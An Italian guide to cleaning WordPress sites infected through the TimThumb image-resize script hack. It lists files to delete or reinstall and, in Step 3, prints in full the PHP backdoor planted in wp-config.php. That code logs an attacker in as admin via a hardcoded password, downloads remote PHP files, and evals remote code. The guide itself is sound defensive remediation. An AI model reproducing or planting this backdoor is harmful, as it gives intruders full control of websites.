Sicurezza WordPress: come eliminare il TimThumb Hack

Nel mese di agosto la sicurezza di WordPress è stata minacciata da TimThumb Hack, un problema relativo all’omonimo script per il resize di immagini, risolto con l’aggiornamento a TimThumb 2.0.

Il mancato upgrade rischia di compromettere seriamente l’installazione, esponendola ad attacchi di hacker. Un sito che poggia su un CMS “bucato” da questo malware apparirà nel browser in questo modo:

Browser screenshot di un'installazione WordPress compromessa da TimThumb

Un avviso (assolutamente da ignorare) ci invita a recarci su una pagina web che effettuerà una diagnosi sullo stato di salute del nostro sistema.

Una misura precauzionale è rappresentata dall’ispezione del nostro gestore di contenuti tramite Timthumb Vulnerability Scanner, un plugin gratuito funzionante da WordPress 3.0 in su.

In caso il CMS fosse già vittima del malware, bisogna procedere step by step.

[STEP 1] – Eliminazione dei file dannosi

La prima operazione da porre in essere è l’eliminazione dei seguenti file dannosi:

/wp-admin/upd.php
/wp-content/upd.php

[STEP 2] – (Re)Installazione dei file “puliti”

È ora necessario (re)installare i file precedentemente infettati. Sono 3 e sono ubicati in queste posizioni:

/wp-settings.php
/wp-includes/js/jquery/jquery.js
/wp-includes/js/110n.js

[STEP 3] – Eliminazione del codice dannoso

Ora aprite il file wp-config.php ed eliminate il seguente blocco di codice (si trova di solito in fondo):

if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22'){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<script><!--mce:0--></script>";
}
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}

[STEP 4] – Pulizia dei cached file

Nella cartella principale del vostro tema, cancellate qualsiasi cosa (ad eccezione dei file immagine) abbia questo aspetto:

/wp-content/themes/nome-tema/scripts/cache/external_{MD5Hash}.php
/wp-content/themes/nome-tema/temp/cache/external_{MD5Hash}.php

Si tratta di cached file generati dallo script.

[STEP5] – Ultime operazioni

Eseguite ora l’aggiornamento alla nuova versione di TimThumb: http://timthumb.googlecode.com/svn/trunk/timthumb.php.

Cambiate le chiavi segrete al file wp-config.php usando il generatore online (vi basterà copiare nel file medesimo il risultato dell’operazione).

Fatto: pochi e semplici passi che rimuovono ogni problema relativo alla questione “WordPress TimThumb“.